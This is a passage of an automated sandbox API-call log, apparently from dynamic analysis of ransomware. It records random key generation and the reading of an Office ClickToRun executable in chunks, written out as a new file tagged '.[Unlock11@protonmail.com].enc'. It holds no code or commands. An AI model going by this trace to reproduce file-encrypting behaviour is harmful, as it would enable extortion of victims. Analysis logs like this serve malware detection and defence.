nFileSizeHigh=0x0, nFileSizeLow=0x1f5ad8)) returned 1 [0117.845] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a3cc | out: pbBuffer=0x366a3cc) returned 1 [0117.845] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0117.846] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0117.846] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0117.846] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0117.846] GetFileType (hFile=0x39c) returned 0x1 [0117.846] GetLastError () returned 0x0 [0117.846] GetLastError () returned 0x0 [0117.846] GetFileType (hFile=0x39c) returned 0x1 [0117.846] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.847] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.847] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.847] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.847] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.847] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.847] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.847] GetLastError () returned 0x0 [0117.847] GetCurrentThreadId () returned 0x9b0 [0117.847] GetLastError () returned 0x0 [0117.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652c8 | out: hHeap=0x2ad0000) returned 1 [0117.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21f8 | out: hHeap=0x2ad0000) returned 1 [0117.847] GetLastError () returned 0x0 [0117.848] GetLastError () returned 0x0 [0117.848] GetLastError () returned 0x0 [0117.848] GetLastError () returned 0x0 [0117.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0117.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652a8 [0117.848] GetLastError () returned 0x0 [0117.848] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0117.850] GetFileType (hFile=0x3ac) returned 0x1 [0117.850] GetLastError () returned 0x0 [0117.850] GetCurrentThreadId () returned 0x9b0 [0117.850] GetLastError () returned 0x0 [0117.851] GetFileType (hFile=0x3ac) returned 0x1 [0117.851] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0117.851] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.851] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.851] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.851] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.851] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0117.851] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0117.851] GetLastError () returned 0x0 [0117.851] GetCurrentThreadId () returned 0x9b0 [0117.851] GetLastError () returned 0x0 [0117.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652a8 | out: hHeap=0x2ad0000) returned 1 [0117.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19428 | out: hHeap=0x2ad0000) returned 1 [0117.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881258 [0117.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0117.852] GetLastError () returned 0x0 [0117.852] GetLastError () returned 0x0 [0117.852] GetCurrentThreadId () returned 0x9b0 [0117.852] GetLastError () returned 0x0 [0117.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0117.852] GetLastError () returned 0x0 [0117.852] GetLastError () returned 0x0 [0117.852] GetCurrentThreadId () returned 0x9b0 [0117.853] GetLastError () returned 0x0 [0117.853] GetLastError () returned 0x0 [0117.853] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.855] GetLastError () returned 0x0 [0117.855] GetCurrentThreadId () returned 0x9b0 [0117.855] GetLastError () returned 0x0 [0117.855] GetCurrentThreadId () returned 0x9b0 [0117.856] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265448 [0117.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265428 | out: hHeap=0x2ad0000) returned 1 [0117.856] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0117.856] GetLastError () returned 0x0 [0117.856] GetLastError () returned 0x0 [0117.856] GetLastError () returned 0x0 [0117.856] GetLastError () returned 0x0 [0117.856] GetCurrentThreadId () returned 0x9b0 [0117.856] GetLastError () returned 0x0 [0117.857] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.857] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0117.857] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0117.857] GetLastError () returned 0x0 [0117.857] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.858] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.859] GetLastError () returned 0x0 [0117.859] GetCurrentThreadId () returned 0x9b0 [0117.859] GetLastError () returned 0x0 [0117.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.859] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0117.860] GetLastError () returned 0x0 [0117.860] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.861] GetLastError () returned 0x0 [0117.861] GetCurrentThreadId () returned 0x9b0 [0117.861] GetLastError () returned 0x0 [0117.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.861] GetCurrentThreadId () returned 0x9b0 [0117.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265458 [0117.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265448 | out: hHeap=0x2ad0000) returned 1 [0117.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0117.862] GetLastError () returned 0x0 [0117.862] GetLastError () returned 0x0 [0117.862] GetLastError () returned 0x0 [0117.862] GetLastError () returned 0x0 [0117.862] GetCurrentThreadId () returned 0x9b0 [0117.862] GetLastError () returned 0x0 [0117.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0117.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0117.863] GetLastError () returned 0x0 [0117.863] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.863] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.864] GetLastError () returned 0x0 [0117.864] GetCurrentThreadId () returned 0x9b0 [0117.864] GetLastError () returned 0x0 [0117.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.864] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0117.864] GetLastError () returned 0x0 [0117.864] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.866] GetLastError () returned 0x0 [0117.866] GetCurrentThreadId () returned 0x9b0 [0117.866] GetLastError () returned 0x0 [0117.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.866] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265308 [0117.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265458 | out: hHeap=0x2ad0000) returned 1 [0117.867] GetCurrentThreadId () returned 0x9b0 [0117.867] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0117.867] GetLastError () returned 0x0 [0117.867] GetLastError () returned 0x0 [0117.867] GetLastError () returned 0x0 [0117.867] GetLastError () returned 0x0 [0117.867] GetCurrentThreadId () returned 0x9b0 [0117.867] GetLastError () returned 0x0 [0117.868] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.868] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0117.868] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0117.868] GetLastError () returned 0x0 [0117.868] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.868] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.869] GetLastError () returned 0x0 [0117.869] GetCurrentThreadId () returned 0x9b0 [0117.869] GetLastError () returned 0x0 [0117.869] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.870] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0117.870] GetLastError () returned 0x0 [0117.870] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.871] GetLastError () returned 0x0 [0117.871] GetCurrentThreadId () returned 0x9b0 [0117.871] GetLastError () returned 0x0 [0117.871] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.871] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652a8 [0117.871] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265308 | out: hHeap=0x2ad0000) returned 1 [0117.871] GetCurrentThreadId () returned 0x9b0 [0117.871] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0117.871] GetLastError () returned 0x0 [0117.872] GetLastError () returned 0x0 [0117.872] GetLastError () returned 0x0 [0117.872] GetLastError () returned 0x0 [0117.872] GetCurrentThreadId () returned 0x9b0 [0117.872] GetLastError () returned 0x0 [0117.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.872] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0117.872] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0117.872] GetLastError () returned 0x0 [0117.873] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.873] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.874] GetLastError () returned 0x0 [0117.874] GetCurrentThreadId () returned 0x9b0 [0117.874] GetLastError () returned 0x0 [0117.874] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.874] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0117.874] GetLastError () returned 0x0 [0117.874] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.876] GetLastError () returned 0x0 [0117.876] GetCurrentThreadId () returned 0x9b0 [0117.876] GetLastError () returned 0x0 [0117.876] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.876] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265458 [0117.876] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652a8 | out: hHeap=0x2ad0000) returned 1 [0117.877] GetCurrentThreadId () returned 0x9b0 [0117.877] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0117.877] GetLastError () returned 0x0 [0117.877] GetLastError () returned 0x0 [0117.877] GetLastError () returned 0x0 [0117.877] GetLastError () returned 0x0 [0117.877] GetCurrentThreadId () returned 0x9b0 [0117.877] GetLastError () returned 0x0 [0117.878] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0117.878] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0117.878] GetLastError () returned 0x0 [0117.878] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.879] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.880] GetLastError () returned 0x0 [0117.880] GetCurrentThreadId () returned 0x9b0 [0117.880] GetLastError () returned 0x0 [0117.880] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.880] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0117.880] GetLastError () returned 0x0 [0117.880] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.881] GetLastError () returned 0x0 [0117.881] GetCurrentThreadId () returned 0x9b0 [0117.882] GetLastError () returned 0x0 [0117.882] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.882] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265368 [0117.882] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265458 | out: hHeap=0x2ad0000) returned 1 [0117.882] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0117.882] GetCurrentThreadId () returned 0x9b0 [0117.882] GetLastError () returned 0x0 [0117.882] GetLastError () returned 0x0 [0117.882] GetLastError () returned 0x0 [0117.883] GetLastError () returned 0x0 [0117.883] GetCurrentThreadId () returned 0x9b0 [0117.883] GetLastError () returned 0x0 [0117.883] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.883] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0117.883] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0117.883] GetLastError () returned 0x0 [0117.883] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.883] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.884] GetLastError () returned 0x0 [0117.884] GetCurrentThreadId () returned 0x9b0 [0117.885] GetLastError () returned 0x0 [0117.885] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.885] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0117.885] GetLastError () returned 0x0 [0117.885] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.885] GetLastError () returned 0x0 [0117.885] GetCurrentThreadId () returned 0x9b0 [0117.885] GetLastError () returned 0x0 [0117.885] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.885] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265328 [0117.886] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0117.886] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0117.886] GetCurrentThreadId () returned 0x9b0 [0117.886] GetLastError () returned 0x0 [0117.886] GetLastError () returned 0x0 [0117.886] GetLastError () returned 0x0 [0117.886] GetLastError () returned 0x0 [0117.886] GetCurrentThreadId () returned 0x9b0 [0117.887] GetLastError () returned 0x0 [0117.887] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.887] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0117.887] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0117.887] GetLastError () returned 0x0 [0117.887] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.887] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.888] GetLastError () returned 0x0 [0117.888] GetCurrentThreadId () returned 0x9b0 [0117.889] GetLastError () returned 0x0 [0117.889] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.889] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0117.889] GetLastError () returned 0x0 [0117.889] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.905] GetLastError () returned 0x0 [0117.905] GetCurrentThreadId () returned 0x9b0 [0117.905] GetLastError () returned 0x0 [0117.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265348 [0117.907] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265328 | out: hHeap=0x2ad0000) returned 1 [0117.907] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0117.907] GetCurrentThreadId () returned 0x9b0 [0117.907] GetLastError () returned 0x0 [0117.908] GetLastError () returned 0x0 [0117.908] GetLastError () returned 0x0 [0117.908] GetLastError () returned 0x0 [0117.908] GetCurrentThreadId () returned 0x9b0 [0117.908] GetLastError () returned 0x0 [0117.908] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0117.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0117.908] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0117.908] GetLastError () returned 0x0 [0117.909] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.909] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.910] GetLastError () returned 0x0 [0117.910] GetCurrentThreadId () returned 0x9b0 [0117.910] GetLastError () returned 0x0 [0117.910] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0117.910] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0117.910] GetLastError () returned 0x0 [0117.910] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0117.911] GetLastError () returned 0x0 [0117.911] GetCurrentThreadId () returned 0x9b0 [0117.911] GetLastError () returned 0x0 [0117.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.911] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265468 [0117.911] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265348 | out: hHeap=0x2ad0000) returned 1 [0117.911] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0117.911] GetCurrentThreadId () returned 0x9b0 [0117.911] GetLastError () returned 0x0 [0117.912] GetLastError () returned 0x0 [0117.912] GetLastError () returned 0x0 [0117.912] GetLastError () returned 0x0 [0117.912] GetCurrentThreadId () returned 0x9b0 [0117.912] GetLastError () returned 0x0 [0117.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0117.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0117.912] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0117.913] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0117.914] GetCurrentThreadId () returned 0x9b0 [0117.914] GetLastError () returned 0x0 [0117.914] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 